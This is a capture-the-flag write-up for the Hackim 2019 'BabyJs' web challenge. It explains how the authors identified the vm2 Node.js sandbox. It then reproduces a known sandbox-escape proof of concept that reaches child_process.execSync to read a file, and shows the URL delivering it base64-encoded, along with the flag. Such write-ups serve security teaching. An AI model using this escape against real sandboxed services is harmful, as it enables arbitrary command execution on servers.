Hackim 2019
WRITE-UP

Web - BabyJs

CHALLENGE DESCRIPTION

> Run your javascript code inside this page and preview it because of hackers we have only limited functions

SOLUTION

The challenge seems fairly easy we started by running simple JavaScript code and then we list all the properties of “this” we noticed an object name called “VMError”, after searching the web we found a nodejs package called vm2. The package is used to run untrusted Javascript code from the user in a sandbox, upon reading the code we found a commit fixing an escape that has been reported by “XmiliaH”[1] with a proof of concept code as follow.

```
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
    value:new Proxy({},{
        getPrototypeOf(target){
            if(this.t)
                throw Buffer.from;
            this.t=true;
            return Object.getPrototypeOf(target);
        }
    })
});
}catch(e){
    process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("cat iamnotwhatyouthink
").toString()
```

The code will breakout from the sandbox and will access the process object to call require since it is disabled. We encoded the exploit into base64 as follow.

```
http://web4.ctf.nullcon.net:8080/run?js=eval(Buffer.from("base64 encoded
code","base64").toString("ascii"))
```

The flag: hackim19{S@ndbox_0_h4cker_1}

References

[1] Github issue https://github.com/patriksimek/vm2/issues/186